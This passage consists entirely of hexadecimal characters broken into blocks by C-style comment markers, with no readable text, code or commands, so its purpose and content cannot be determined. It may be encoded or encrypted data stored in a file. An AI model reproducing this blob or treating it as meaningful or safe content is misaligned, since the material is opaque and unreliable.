8ad1a8841521a3be07eb57197f1aa643be9609d598dbd71d694c0f279d1c2cd69a01b327685f4c3b8dd82ddab5ad17a59e55bd93db8a5d5a6c9aeeaa4c37aae170550cb486a817c2a73a5eb7d8250ff148166eab1a256f5db029c794ebb598c350093a76b72e49b40374dd89417e802f823eeb606725a328c6d1e84c11cf38a9c83a37cce23e5cc2a0a2e3e6fa3f362a9a6947f0fd309577bdc237ea79b18ea3e944ba349ade67c6fe2955812cf41522cd982c0e3e46fed5f9246a6c69c8f9600d0769effacf7bbae6f267de37ca3ba31892063b72f81075288d24b99484c847be3f230053b78abe8412dbf32a2fca01453e67314e7f2ab5b53f2a74edf0bdb96bec7a7b7d167ded4bba28ca07c5b0782c38244d687af48a1cb1234eff4967e495d1acfc23b32d28f4e88b5509dfd0098437e25e7aabf2e4ca7df0a662638f14fd335cc1c2e9b73d91bfd1636f8490f04be525cbfd6568f88a873c2e7666f0ccd6c783b263fedd7f00718fcfb0cb04888525ae6b9048ff1f7d3b12a7bd2447e0f9f09446d74e95b2be6bf3f5b05c5f71ea6ecaef32123524ca8ec12489b84ffd49d694e54e56a9af3522268e26d083223317e03a6c47bebae2c53bd531cf57324844ab53e6cada8225de6c9a667a56a998fc7bde4fc0b4b96c035b207f7cb9360fa45097d5c55f324e1aaf8c00d46d260b0097edf9cc8cc2c8851755a5b6c2bffc26eb241186cf6cee61a5e05e70fb3aca924f32e86a2aef857200f537c3403dcc765da7a9d9ff976ec25497d7b5dbdca114d69c2bada99d2ec8077d55fecc92d58b4539cf6c7954f8d20fea22346891b91ae5cc3e0bd6df6dffe49006204e53e7d44770611dcbd356751b98d00ea167acbf68f90941becfbcc1ab6653e8f0d3808f014c93cf4621eaf66d9cb3c4db7ba023fa6a489ca6314966a0579fc4ecf6fdc7df17faf1ed6fa4f25afa5c8533dd3a6e6273de71f5aaf2436ff7fb6fc3b0a0a0427eb300f09e981f882378ef43c722281dd1a6fb92134c6f4424d20fb43713cc47ce6adcef893cbe2c5f57d4498261507377d15dab3a3a65b17f3f104a5b6f3870ae9decc40384a4ecbe072b3c4f3accab69be54dc312dc10d0841fc481e89a82637b0fc8baabbb13b5e3880dab2b4eb9e186befd88fcae1b86736741323faf5a49f66af93b6c4b8cb0211a61f4fe6fe7616eb66cf3167bc673bc60d3d2d10af5002dd5c6c104c93fd1d276cf8689a6ca28143857f6e4fbf188a246a855a94fd3df31a38e9e1808375fcf629abf74952f9d9f072f38c8b2375cd52b7eaa0efd9253b9e8997bd388c8322d66032cbd4a3037812132db5420360b06ff51b8cd67a7937e90bdc768575a388e13dbdcb68a459f62e4d44174103c7d86b4d9b7b99580b24873661e696b27721a8810c461315432d39ba2777cf32d3b911dab30a04e6a9ad02a4c010f5787e7158dadf068025bdb20e8912847b6959eb5c3cda3335321092bcbcdf874ef54ef2e3f5dc34986a9d78e478c7d25d32aad67e9764ad40d7476108ca6c257b127abd9f56875f810f11681eb9488f0cf5103c17680b8438940b89740b6eee034d893123b0a100a1fc3dd07f67499d7caf4ba0fa51c5dccc13a52633301270584921544bf4b7d8f4209444fb474daf13decc368ae5fae7c6bdf4803b17d39ad35ef3a3b8d7d22a4732cb6b89bf03f4be12bf1519bd7a9d974ac5149e9c66c7b26bb0b9029a373e4c3b528ddbbb6651fbad26cef6bd57113e22737f49234946b24bfad1f5382b859c3167e40ba32c82dabdbd31fa5e8020b58c1135da9d4b67d12cebd3f6b2b216161c63bcb98e9d7245ea28e28ad8da086ef63825cda2e065f6c2804c31a1ccc366f662bb2db807dfce1fa276fb2ffe242f72f5ac3a7d109bf2eb403644758551355a8d995235f756d95a0afa6224d42a3649b3d61ea707b15ca7202b3b7f5eff1c10369cdf098eba1f6103ff6016a68887f1fdb80a032f353fb8d65d4702a2fa2e412943f48b1636a77540e89b90c38cab1bf3c4037c5d2553448f5d4e3821ad1d4145751dcff85e880745a478d31586fb7fa5efbe826a31a2baeb0e8ff0cd83*/
/*dd11fdcaf0063af958f545b8de71d48b0e5b20793993fa54e82c4725c0cf39f7149dc17ada0a7c54a70a87819cb366fcafd25ef61c3c578e6c47ac1e69ca41728b84f1b0ddbd532beddc71ca92b81b7eb9d26cf62d91621818bc816922d781ee929cee32b2d0ffcb3caabe1894bd819f023ba008f4302b684a48be6a9116d3951e9db7178a2439a90eec399ccc42487bb784f130d58211b413259427ecb31cae31cdb23fbd224c0e12336f204a8dee61844f8e2f40300456e6afd02f56fae6b65d8bff06807abbfd5acad5fa5d8bacc4335ba38930d59aba40cc4e105d7f035dcd50a368ef3594a6d2a87586e6b2ea3c420c0a8ebed1a08ad5fe7ec83e8b6cd62e9881395dd251102d383f585643332ba8da77cb7caab8db70a62a598806c2bd2c86455ba9b68900c2386f9249159437da05bae9b24e3a0886c136c634b2a6d3f633237edef73dcac1ee187aefd0731885dacac81931d1668d9967f6cd46b22fd1549d29a3bf2ebb0149c01afb5f69ef3b9050b9743eb5eb1a65836cc994eb2c5f5632f90920c96146e1c0d842edb27b07db4b0c3a6dc40918616dc32cb47ae89fe7ca339716ce7bf56f278901f3c6b00bfa7c85079398eea8c4c45aa694ecf95fad47f0508f5c0329b71b2a73a24000558c53f5707d74dfaed210a08cdb9e525d8aa6d23b636174533802fadebd52b316a3b22488313a469f3a0456758b8565226e4d3ee9da9301f67927d8de16d8f936ca30167a1731c388ea820da60d1a3d636357fabda32090844fc68d67f32ee0ee6dfffc998506288ee12015d0b69cd047d022eefca4e9555998295628280b9e93433b86bcea6ba31c0f71adb7de21e70cfbcc1f2d41d1c03fb71800b0494e496da99525a986d8186b456523ff0485af4392e359f764e348a3e1d8c9a0cde605e2f7279a0c9679fce0cd49096834bbd2e6aaf5d802b478a5a74a55e149cde099b772e6e7c039de044f004113cf029e54a715c35b6fca4ffa7c8b53a59935cc7391d01f4d6f7df635271c9b67e38723070afd67ef33b6e027ff8b33feb44244bb9d69afbfb2910bb865923a848c6f40dbc4c26876af0920f8c0969acf05bdc36dc8c5a3626e1f1ea7533d0352ab6856b4e2e807b37c375df03eb575a7fbde5dc56605ae1074823174f9f38b52b2e48723bdfdeddceb163eab8f2601fbf92473a5d4bad41dbe50fdf8b3f3c1417d9b743535e57cee9520edc22650876337d6b717391a1e60be0ac18e4eae5ad5eceaf411d2e38b2a084da8a4f10ff74aaa2600ef966e2ad639adc83e87c37bd5118cd508db8d02fe4d31c86ece0043096786566dc3e21888972b58d72923653304ac62026eba76e65ce9bfdfa650a826de44b03aae475947508d857e0d4d95e49102da1f6745599173508c6c9097192d3d28f21b736354c968a1c86736c97ccf182c633db4cd6cc0e63dd9f30543caa80723cfd88c12e4690ac1e8aefa0eac7c455eb2dcc3f4332c2b5da2380873fc19b8fe039e1280b5cc4cca9cc13c943f37a5e27e4a282d69f74693c6315ccd6126448e3e17687abd2b3b01fc9f62ab5b689f4db9d19f76fb601bd9bf6216d282e2e3a3e859306872343518968365ad10c86fa6cbab7399649aac2f9078f4df2d35605eb5e9778cb235e9168cadd194463241f84bfc92058face2f4d0217fac0eada6f577d481a8b2de8073515747f048434b976ba93f87e46ad622e1905231ec68997424440c357d49e9f82864362728cd14b76e10602d6f8035e9dfabeccd21fe2fd5800c9c94f8d025b69074615b576db2d925006c3e1c748e650b3e6cadc0defec61f5b05ea7f7f08421c6669a80d2770a4acd01010e59b5e69efe50739b98df3eab2d403842615c83633d6b25bf2ca8fd9aed6195e5824f3561c2f5b3ae8c346b840ee5bfb6a4d28100df96110d463446704fd55c1cc2fe15f5b270195eae532e984a4142b9d1d31f0a9e0e5fefd416caffadadf4a43b6dcc278c023378e7b7cfe1186dbac4be6c2be80f3e82e6f7786ac00055fab8f8af1e9df17b27482aa6caded8ee6601cdf47503c9a6a2c3237385551269603d1a24405bdf8b35f298f3a4d040f1dea6d8d7c786324fdf5d97f601d4affbeae3cbe21fac4ced845fd42a07041e76630e55a5e7afab366f595670ef7839cbb81283d78e26368f5041690df72f33c8af0839f8f598fe059ead2456f7a52898f4837746bb9462b9edd8445db4ad251eff8b17ef1dea7001e9dc21e050eae6633ee3b61fcf70ba8e506e79c87cb45210e42ece0bbd0d487ea9f8374a10b780e40e2bca8706ed2054722c8631f541b127aa569f612ffef286b0db234fc395ae27009637dc410ed444f66f767731a5608463c1f5e19b83419c97e920b267e79afd6519d093ab94ec70d2797870c84b318cb5f9e7b14bf98d2459d8cb00a2c38e5c87c28be1996d682c7d35788afa5056f7fa8190638ee2d9fa7c306456e44fb8fe4e1eee010971ad9d25aec217adf2a9530e0a7e4fc62c3d208388096bf85b4fddf98f8c27597740abc176e60335020637402d2a3086ad0edd011cb278fdb25a9eceb83a075a457ef820b287b8ebb64156e337bad900595227b925c4230f4069d058ef84ca1fa729856598d682761a7919e10c4f58a3fe5813b56b5b1b67c83f5b12381902b6cb84e82cd3aa988cc1369639221f5adb2b8d5c18327e585f9e7e2e874cc04e3ef42e33b259e75bcf4f0144fcbecfd7868fe84428cb0fac187c26f2b433210f0fac53e2588916b2853640518dba35dd69c04cf49b4282472e157bc3f84dca0df507b8f3aa4c7c72f11dda2*/
/*4cf324922f91f5a163429d33b6b21b183194cb78c6a74f1d14c94a16c3dac1d42b7b282eae81a952af9d4d9d25f22d5dfce6f6b5cc721e112a3d6f4aba2e942bdc1cec2cf8d26c4c8a99fa7d612f7272d03592d36d9bb196c52051111cbb7a05dcabf4f4bbbffb2b1ea8fc9fed1bb520b256a342ab53ac899614616076127cc11965224b01335bb373d527ff6ce1099951088df6b07063064e1166233efd8d7c85337cfbca5b955b3213fe9182f3f65fbb072f9efd91bb21e88213b3aaee10a578327eac7fd46a42abc7efd5ef61293626723ca6c9645431610fc991f6cdb4775b0901dff71b0d6f41adf26ec4f46af2b0194db9c496f3177c8ed25f0b1bdbb37e5dac13c2401f50387bf82c661ce784d64a36f9743bd5c37669ad8fc0b2bfe631e1b8de4fa5f5dec786214c395f2538c3822fd7a640eb9d908849a12df10ecaa0cce53fbc831f38e9ae1de29fed31ea14edc33998717039d869882310b06670698eae064a7ee485d7c0bcab90bdffca1951d08fe7adabade7bae92afb1e41f4f987ee779f9a758deeeb0a3edd73789c4195d2c0a867c1119036e8432225a235aec9f81d60bf68a3d6a222fbb9bf730e687fc330d6ec3d59c596c30ad2cc80bbedb80a1c77ad2f133cf2a52a5619f5ab397894792e3e2fd9c438e2a56abaa024c29d61df29877b6d7823139f4e40c57526671d474706b5a8751f0a44a97b9578ebba9e92e0b73e39664acfe0ca4f7a5ac975c129afb572dde4cc37debfacea88d5c55bc42386d383a9d46578f68dfd7540d79e532053d3ebb91b0624ffb621447a44b290cfd1ef941aeedb21de1df558bef8debff8c55cef652022424239e8fe3bd7e2cd6f1c3bf507eddcafec1d6b59d6d4e68d1ad716e57e5d11f4aee9f87f6da71501ea9b3093d9f7d71e0fb028d0c4ffd15515e6ba1f1d865f0830a79401dcb8c9f84575af3bbc354a99fe262875ddc2a6c53f9d1f38ab9ee32680853d107a488b004e603535bb8f7d5c0aca87f3b017faae79c39eac0c5693d2bd9153689e7e77bfbefb4a7a9095861981618770314ad2e43e156a75b4d4775027f1e7a35591b9f13b8be1662931c39c0990ff9c3d795dc2f33147e3258025f7796bdcf2235358390376e5cfb74ebb0af2946fd8543f01539174a611bc3ff78c372bf1a78d2a1d128c154fa0ec38142a556ab8b9fea7e91de73c8141ca63e7b5d5ebee8806a593dbe26d580137f434cfe4e6f07a94329071e9f430732fd0330a14d3809693b93c034fe29889239885f045fba13ab76d269838583d81ab237b4069f9a50c3ef300aa1c9fddb9d26fe19e04e65f2b95e037de08f22492ad579672aeb264015e73ebec895b02947aac9860998ea7a8d3555c4e6ac9820110346f56b9c9793d1060c70e8e964dd3f2b6bf3d496a39aeb6f9d02fac4f203af3b5b78f478124fb78408f5f8b97597bdeaa35e853b84c974ca15bf939739c27cd932e496576b5ccd79f5113f179e1d2aeec17a2fcede6f80dc52ff0eff8778e65a625208ddbdedb1e1a2e973e1ebb741c4e44d7dad214f5a7d5c3171cf716efdf8988f26e1bb460546c3228331b3e2b0067c6e170d68bf7b7228bc7a9fd89da3ea3cf0c086dc83c6cbabc4b8299ed94b1792594f9c6fb97a946b6708c1621a587e25773c263489624f7d64f4ea3bba513a44d17033fb91b37d528f6a2dc8fb3c92c2656f420949593b656d83da9e79dc9e9feaef07ece99289a83ff8747491847790a2a0dfbd7aa8a02ffed6f723cbbcf33b804f2759ec35cdb21f6dce99b111cbea4659cbba02251d7843e80792d737eb5bc4125420b614eb160f87fb91422f9a5d4153433bbf9f137c15200d5d9f852d1e72cf294734c4105cb093a0657adde518741f6e78928cc651e60c6b1af6aabdf0902f0daebc8efde5c458b2e959ec1936d6f1dff7eb356bd2d797684051d5e80beb8d17361dbc5e74ee18ff74557bda5428475c99bc81ac1058034b3990a53645f317645e74bd5f2248b0acc71514d13fcb25ed2559dc71f1f2a4f60f4c42e5483191d6ccaac26840cee7baee1605d8e860adbf36db06ee37d13dafd8aa5f24fe382405eb734ed1917480b0981139663ed908fd0b9b7bf21dddd7341d9544e823164f4ac2fc8e0c3c7a77bafb0f634034af7da524931b668f5ac1a2c9e53667f3394db3b2fc3c0d9cc60f8edb9fbd478ebdbf687d0f1577c73d5358d8b44da71d27969db11221fa4224d35a4d5439264d2da07fe57c0024e4ee8213928dba48313327b5bc6454ecb0b25091a87c712e0c9fc94b4cf1c5343cd627559ba9c81a4ba7f33bb97b6f10b94cbe514b966d521aef5892e558df8839ce718846e2e6dfa5f228ad383a7adcc392d691f2fb7d22e6866930a8739f874a43bd2ab3d5149719e8132989735b09d0fce47dc7d1b170a69c2c6f3b06a0cd3d2a65243bdb55c777420cc2745e63c3e55f606e1f4ec3865aa3502eb6d4c7545e5725ba702b0ee59325155864a0b1b97e5e29b16400b283ffe222748f4404880600fa63a520441dd01bea57c7c74aeb5b125e7fae89ae70617d7ec825fe61f85d321c8daad7ebbf869a4f0dc2b7b8abe12ce4616b9c548871d42a8a49aa977490ecd70e6604b9079b6ad5969af8b3a371f8b4ef467a7868884688e6680c9b032f9a02b4979f88128cfb4998802dad7e6260d49507a69f4f3a5b1418c9cfe47d9c30a41e1110528ab0c0f4a0d967c224f06c0b9fc5df4d173d6b3e6f3408e3990a0816eb9a719f3eacb7a903bd6d73a421a8e1524bfebf3b640ec53f040d852f71a5669234595f74c6981e1147285*/
/*b9dd13d55671ec67ca26d923c34189a8fae5a3eeef0d0b12349b737ce794b8ad589d3b8ceef0aa4aeea3abb34bdc3cbe03c9e72c80cf60559a6b016cba348d8df1692515919446f80844d936db0290691708ebc60627297c690197f137ebdff08d00730e36a01ac2b730504a7e0e6fbbf08063c3c13adb95db08234b59313b3080b4bff34e9e217996719ee216f9f3054b8563b51089bf0d8674dd6ec3e3550cbe8967669d296e6bdefe8520be0c999bb9ae8af0def6bd8ab4eaf65d5ff6a9be71bb28e4db5ba753ec257925e70028979cbe9a3274a01627b7359e31d743db0656091b9efb6b503acfd517175308215f86ae6357738c8ca34caa063f091fdbeb1ec8351dcb18dd3b5fca113d4039b59d5e5db30c34547cebb9b2398d13c180facda15492203db1d1cd3bf470c0d758f1a0acc6cdcee4919d8642f1f8feb80c3b5c9c5beb185f7e5a7aa8f602cc5508eb2505c4b243751de91838bb2440b0698253365b22d2e24dc2a24798cb3278e59f6c9574be94fe85ba5d1e62362ccabf8216f1e405887041c961646c2e05493273251e9af29e6b73c949c9deb4c357082aa5271dccfa547a21dc3392d6b48c855874ccec3390bad21470f1afbd553e9e855bffd1cfb72440849105432861be5b20fce5c6616424a40855cb1793f60930af6b4cade2b32c716327f2bc302059dd6f5b3d63bc64ca2d98c58490f0f22a62f0f2d10801c8b4431ceca44becb476f70ce7d371ebff3514e6966c0a0c21ce31853777858d72f75c5ff59c94ffc8dded5ba19fc1b5b2eb935878f80edf82ea06eee9fcc046a1039d66002674f402b3086ac46996475d60f3c23e94e205efd91e124e5909672f460174e8e4adf57c9a2c479fdd5240d48fe5cb7570150238852f0ff1c0bb311e46feb48eed7cd8164079bf676a6aaad0ee2817dc2cf5599bfc89cbf7939c8c17e33c7c9d686f638887653740cd576914fd32ba5b92793b53f2302466dfdcea37a693d1c7d88f65537a0363fb24d14efcda4fae50174c973871ae33a4a8400486c16f7cd39ff7ce76ca86f4cfc98591d4488f2bffb02fec4df8fcbe8029c54452190c1e21acab486f2e282b4c239a04f4bb2f73d2fc26316611a440d1a5bcef46984550349bbf9816ba870d193852901dcb041fb270b9bd1f64973b924e50b597155f1d5d77c4fbc5069a0f272f4c6725446f60287eaa1b850d6df6c99db6dac4b7b8a5bb647c12edf4acd2c37e8469784f1127e43978acfb999e9c9b45ab9753c1bff23201cb37d23213014bd1d99094259b990d4b7384775063bf885c862f9992781b9c35f8c51521b946ec4f56cf6dbc08b594a3dce651a3ea2c2c7020773b8b3ed6504ce2de307b3f8632771dfc9dc0175eeb18187a8162333234d9ed57e17c0d49b59a47529d738e14b3d01f7ac58b3f156fae0786424674078598192b789f352ffbc0f4f8f4774a6ee344756ee5b88664eb68821d02f0f0a5acb35baaa0fd801f84b81d85bed9e1ca80a921ad402ba04d37b17738ee32b87c9ff5f34d119f06a5ba14539f0ccc78ec5e34c177b6938be4d61a38f7305b7054e29b8a9fa9395e9624293971d8bfc64844233443f71d2f75a25a3773af3e9c02814aaa3343613e384c5674ddcddd00a8109d193b67e4c3edd66c07358896b468d9123c76ffbdb0b5ce05f8d1645233e6588049cb9c5dbde0ff90f9c5b66d5f0894ac8ed57089abfa61c7e62fea88ca5886bff741638f14cb99addb2aa0470feef006650361c503bfac792a539610c2076661063fd11b7c4e9ed5462ae0c05f417369e5ed1e0daad152ca7afb4db287360b431145c0c31e9b8b2e2568166b569122e72dc39c96a628e0875dd30eb5249c911c7677cebd4cfcd2dcda52f2c3d71ef12cc3ddaab7d560ac881dc258a63692d2882d3fbfb30dacf573dc9dc06296769baee2d5844862a1a1879590111a6f4d4867ae3ac40e5c5ec39b53d1e189915bddd4fbb53f19f5d1da466ba8eecdf73c3f29b420218d3d15f179a1b21d58e4056a3b4b9b1668b674031212d42a8f3b172b0bf4d7295efb3fca2a359c5454678c373d366399584f71995bea100191e2d0f158570aa5f904da623003862b4ae2fd71d2f6970550d0ecc3baaadb53e181f5ce26093f4cbcb3a2a73fe1d68d722bd157f492df46bc8947adbaaf0e29acb2ee74cf432cedd18fbbf4a70315c1bba35c051e45e20324c6a76919ebd296bfdb22ce7b45c2c25ee1acd754b6538d504f50b8c2402ecb991faa232a5e9cbcd795d49ebf64578b17e8546a288b65a61076fcef301864a93853ff91d04beccc61326eed2ed367ce5eec87eff80945d5364992ecea0943d72ad2d53d0389d3d717efe3506b39fc73817d705be90ea79ce8d2e85ff488875bfb1f6877a08cbb7ae17000bef97c37a86d0b3e3e205806da92594dfdf0e87396aa97214ebcde9d383d95879c42f4cc79acbda2f13eabf69d277430931b10bbf622c689bf848ce3502c08051cad381c5d7914132af9d6f2806c1ee413a61a189640237fe5bd363a59aecca6a51cbbf54c65124db8817150d2de2c1a0e0f5858c6bebe6a4f970f2fba8209ef10a8c82d06c3d09b1d0f65e76ee0781ca6b9492780a10491be71f4f40479db068128426fd2f2b84581037201a90dcdef34b036e2d75af93e175358e0e4ddc70db3a9e0c0164b57e80b68e5c3c53fc3a7642c29a82c43e86c0640db28e9eeb86cf9ea2c5886aee2b154f2508f54a4cb27718a314613294160f08b1f1bc793773a5a17bc619e38c10f2c10c4dfbb3a3b05330890b9db30ff7c29de81e24a1b1de1*/
/*89e20d6db5dd10d196d5a6d77a9f4cdb21d80a34e02e92f786040e1b0e37f55532042b7f108cc10e038ecfbaff293d484615a3f2399b7c44242fcc449ae3bcd936980d3bae920fda280a1ee08ea621e79700b66afcde1a894d13931c98c23028c14a462f256e1b0cada70a1da03b99a2d1a5fefa3eac043475ca81b15d0f09a29d0b68d9a82d33ec3fb1873fd86aa5ff0574bbdc5ccf0ac58f0ffe9e2650192acf4bcbfe7582fbd492737b0d1a95d18ae468177e3fe968c48c710fc61711e126c1e4ed37648bd77dcdcffa83a75f14b2341ac88905bf726a2c5166cf6517d54eabe623f6efb6669e8df640444458d7050ba43dbf20fc5f118660e561c3e2a611e22df33ea87aa95f4a351d0de3c80c1da82410f076519faad20a247c5c9ad62cc5c3a6248ea2a3d93dd43d3492ca9ac72173ff0490f494bf6dff0bf4ddc1f35e60bd5eb7765a1db644fba716e06521d52d2773657571b1953b769a62a84691c165f9b6aa23b8ab64285b0f2c917cc2b2537e3d821b55778fdc8d33fef53f837dce58cc68cbcd9490d8c86ea2b18fb5be2cc65e069b301052ea738adde60c935961b31850668f347619ee508cf51f31d6459fe01833c695ad250663beefbbd87a8dc92e1208bedfb82021ab7f94f712f63a15d3f1a6f277fdf217efc1b14ba83dae82398a0b7d2cef1eb6938c08cc26eae0908c9b49cd08ae3f3a141b387d7cf83e3090be1d643c3fc79d4ed0e1f8047f834f92c36db054f187ab266b3e5d6ad5819434063d0591af1ff0ce6fcdd76ba5dd368dbe391d29f0413c15da942eb3eec5214c6c005fa10429c88de580f04ac6168f1824166750981beb74699d69edca96548f86ca66d809528855d2711654918ba8eeb6c541573a85b28b8c2c4b40cda1dda15e1e8f09f2d795a8e10036c55b208b2440cd7f934a07359fd75f7356227efd4d09d4b22a2ac3fd52ffe359008915aff0a1ff07ddb36cb898f05e29a64af332d5cb4fa0fe76ab92f0fad2195d100a39ae49e0da957994d830be5966b82508f0da846f49022b5f4f64f4b6597a894a5741fe5f725d83ba18e9dcb396a4ec19f5f91feff4e7eab8b38c506382f1eb274aea93b5e6de508da8bdde66241445105c00c1ac5513cd4bacf293181439900096325582396e2c303831c2901f8af8ffb722364d4493ac03d35a5f2ba5ec74ea62e97cbba6954f9446917a93f55f0310cfb5fe945dece81302a4c5c6d1fa13e4331627ac4e135f7ea00a33ca34b3350c87550c90843647830500747056ce93270f0060da26ba6d2de3df4c4161bedca610b8926fcd0102c6452a02379b75f5eb16cc90bca37ca0caca09aa289900a0d68fcbd845c242723f773affb9d56636bc6e779203eab77542939cc3d2c4e4580bca7a1721ea04582f336f94da9008b68314774e356b2cbf8ad4a9664961b423041fc407f8505f1c58d2189ce421d22cb8da8b369fe8361dad6f70f8369f40063d47427bc94c92b048bd655229a87ba762bea164a2c53b105d87f7467d71f02ce57c8b7217548c7619d6c9c5479e863dd86bfdd840f6ac928b332468d97159b76a4dbf2170781acb8ca177aa0396c10cd22b7f06bd477ad5d0514b83dbe11f9d1c20bed2a387f0bf0268e8e0f4bc5b0bdbe1844110c0f1ffa11a0291262e88c2c397e1dae73c32251659600d6e63ee1193eae3ee2d14071bb24805b33ea6e1d82a77cb22bbfd7a5aa6b6ae64f0ce4e7e4dc3173477ee5b2563df79612ae3523a48ae84d001c3f5116fed9c1cec022d76a8ee48ba0d3b313f19e2d5204e8d33e03ce9f4a017e567d6814250c759dbd26880ab25a122abd19ac016fcc0b172c164cb1cd27f24e658a3556c1221cbfddd6a886b01b4594eb08eaf2e703df88d537d16e48b1192243cc9cd734562a2a7bbe2b977204eeec2280ef667533f9bb4066b68d0bd3a98341319644d155a8060fe1fd3bf12166481e01944f8a3e96d8f9741b69e9a5d857c9a86448d06eacef9a78bf47407a2abe5ab17da7dccca39f7056ef5e0dce7a062741a8b2a1274305b8fd4dfc813812acfd6706306d63034fbb3795a8b90d46b56a768ee5879f35769b4ac54c6f98f37f7d479f5ad8fce1bc49a964217785715bf419dfc8043fc20c0568441797d0e6f733b11e5424b742c132773eefab0f06077c3c98f35dacc418eda22afc10cc879a1ca855eb7bcb4f940d35e40139a28c80f73c4f96a7e2feb6e73784eeb8bbbd5c4c77d2bf2e8f1c2150cedb8cf041876bba196a55b9fffd855d26661a1c6c2b7464df9aa67cce9bd408da0e4f3b8314762498605798bf7457893b30274de7ffd0e3344df5bf022e4ad56106319ce3d23df6b2d8789aa2edfaa9db10e89b1a0b7736c3640ef2ada06575a6235c22a74492309e17e9b1be4cab9bb47d3dcec819737edd26f0735d7dcbd6b30ac542c88eb5d238c2a1cd146de391fa84e3e93d459cfe39527c4469da98fad45b8b048f4b573f1873c3a13bce539220b560fdb7d9cf48622e9f467a5828b32361e8bcc0538046f8c7045ccde2446b3f551d5dc1a145a2f6776eab4dd59faeccc30b66036739e4040ad38fda09f18db491ed43c0025d75c201a78df9d605b00eb02c525cde4c0ce23417c08fb8acbeefdf6b2b21ea0b3e842531c88340240417fc75b2896bf197a40216d72c9745d6fa30512ee85a6163e9847fae38492419a54c72ab2e71f65844fc45ba485004a7766030be329d54217cda72fa0f5299b9da2f484b1ea9ae5ddff8e581e37c460d7bf9d55ff28d2b7c7f4ab88ebbb14c236d8fa044d417b7d5bf62a62864e2c40587e*/
/*305f24b31bdc9d611ff4c79c720024f3f5958a1b4e277ea2f5dd7f8d3adf19a15b768159979c3073bce54f76884889614e284968301fa26e04603a6c53aae97054290004cc46b7a00966cef0ae5e1706324c45fe992f6dd22f3a4989723332c2e54f9beb0a2030f87190925777b99b5162088cc77599ba0c629785a774095f6bf5cf01db7e8a95fd7f49155c89bb371afec9bc80d93dd5fdb9618262f1c843898cf25d51de0c10bea994b7aed60fbabc9f16d0c9bc19db1d069480b153a04a8fd7264a5e4120ed78207e1e813c34008c1b785e6629c55a8a6e149f12ea8f9f03d8727c312569ecb04d0630148cf67a83f04873c213b3529769edd4e6a167839709b0a75f21414ebe42cbdd79b13c858735ec15566f0594746f604e5f945bcbd6168da68cd949c25bfa4e19dcab552754d34293c4a556017e43ead04f4731e7ea8bccb5494cf3078b338bbd9c5958f574182adb9d7c36d62416ca1188f187e3fd6b42a0d0c178f892d4c2885b8b98c6e5965aafebe09ee58283bf8316592c5828b184b47f5c7cfe6c014887734341be023c27bc56c9170f4b08fef259fe4fc8343fa55969ab99ad88edd5ab28f73daff764b6e8e550c838e79f33276f305498a01ee3e2ebb4762f8ceac9c680b5aa122f5a0d1f22a402d54fef89a5ff127e49f631eb17bd92b1d99fcdf81a51a1bf1e7e5916bad11f8bc4aeb9da64b101a21719c1115d84a0edecd44a32d29c54f4aca743b1efd46bf414befc91af5318a9096d80ed220245619c2ba86a3dd8cc4686430646ec12ff80c8861c5e2ef5f8c5dd60b045c6217dc7a3d8e6e3d0f204f2fc96b3909ef3281bfa69aaf39176d218f5969edb910f9d5b54124448c2d1273a83b396cfe2df05c8c3eab0a5f74535f967f9dae607521d9a1c7c272ace80f78b889beece340b7ffb520ca95fd49e2d949df0e3355ab5f33c2e88316b90e4a4e16a7ba4dfdc3a39c67bf23697eb40afb1d52f0f57f8243575b908503efca48495302c40c41d9d0a732a2a3a25cd0a3615f07f748a3c7aef4e2278f74f624c6299cddfa1b4d6d652d27c3d40deff46f05df0d46d9c54d4e0b0d60a9fcd361250054f68a431eb058ed547a466bda3ae04b18833153f2bc7d63616d84743aa42a2cf1cde08d4a9fd7988e61828b97f60305a7a163a3c6b938e2ef8edeb277f9db45e6c12c5a875c1d3488d9be68923a92cc373b3d22f8afe8d8e43763143bd06292f892a655b97551e15e55f00ccbd1f58ba0f123e1ca7423a14820f99a71ef681d272260f15cc0b7c0fcafb08cfcb860a5e0b3af8bb0ffd717ab185559ba14683b5cc4b3fc65268b5b2327e396c7fbcb01705c93a9659bd49b21748dd67930ed9885c5b6d99f3725e6a518130c5aa1537deb845874e27d2519ac15b2f0ed00ce82c3ac09ff5bcad54b46b372ddf80a365c671750da38ed1fe543e4288a947aeeb6b0e5ab1c286fadd05699436a251751f400d9b0f99aca76d6e900b7d5a62d91f908df76ef699c9ca21ee39a44d4571fb65130c739b69d112ca52d340be01c36125d5ff023e414ae759c3fc0af3927098fcb260535e372915b2fcd59e9c722feae174822c2f93d6b0696cea5e09f17fa138599e3d436e2ee30818028437f9f7e3c153d017be6126bfa0e57c9b9aa0461f0c947e080dec936f1768b655d05c128f7175480c0de365de0f0f72a11f04bfcf1224303536261844815b0e9093284c8f24d2586e0880a17eace5b7bcbe93416767fd452dca30f8a5e369a2f95691b065a52f698e572a517310c2250a6a624de1234d2fd499231525b86c37a0a2f07de54e3b0d665fa6c2e2bc110b89e60b62f8a8bd924ee4db9246c98b7b603540c8c45111e724f7cf960a6d4b1f6efc95c13c8d86e047fe3c9d69afddbc8b0efdf3b7df7e11a1192e2aa6404f47a37b10682b1af5624509412464ab8c00473596dc4bc822af7121b53a821e001ffcbfc8bf2d84f071370ee3e6f5bf9986406146de22ae621057cda38c6183290038b10445b5752d4c67e180b4915b0e04455e2db38e03d7ab31e649277381e6b58c21d510006f1aa9d23c99f09e1ca3a75d31624d714a4403de05fad6146b5471d0171043276b2ddd22fabbee64681eed2c47340a53cae490545041b0b9d28a828a5fae84cbb059dbc882ecf7711b7730315425cfddd501ebcb68974a69f401b5ef507add882c041e30b9bf07c3669c2b6a9a130fc4f6adacad429cac0f3cbf7adb30e818d797d6cc1bb16bc20dc019dd4bfc8d0e965966f6421a1812691a4026a1e03f98a0dba03a1cef0a68263aefe9d4e2bd0c033aa6901e5c464a095e191040c4c153a83ebe8de577c77a2aa642bca06d4cd1234ad59969aceb6e7415e363c652110bacf828ca33390b43d6f929df6eb38dc0367a3c2a7d409438abcb8f5e62be8f49a1e7b0f93ee5fb4c32daba400914baea02246851aaf6e79b88267612907f385e3492456c3f612fcc130b24384f807f1a7f3d2c25f6890a16f5f28f5fcff28bed9d067555b81f0a70f57fa192d443edc220996ad1a10974850211de9890bf057c4849c9d4ba3e8674efa839caa2e22a58bf8a2ea4c140b6ac8c59e4d10e9d3207912944c3362df518549b3a6eabb2d410447f75cb64f83a4c0d69a645436529e88a426f0d01d899126e78343ffdeea9c9a1277be4541d7f328fe582377aa8dc0b169604edc48881ca0c06213d1effe09a9fd3989f4cbe46259eeab354d1923ba2bb8130c50dcb89e7da2ff73020fa9fa89873674e48bc253b1ad86cbf34fd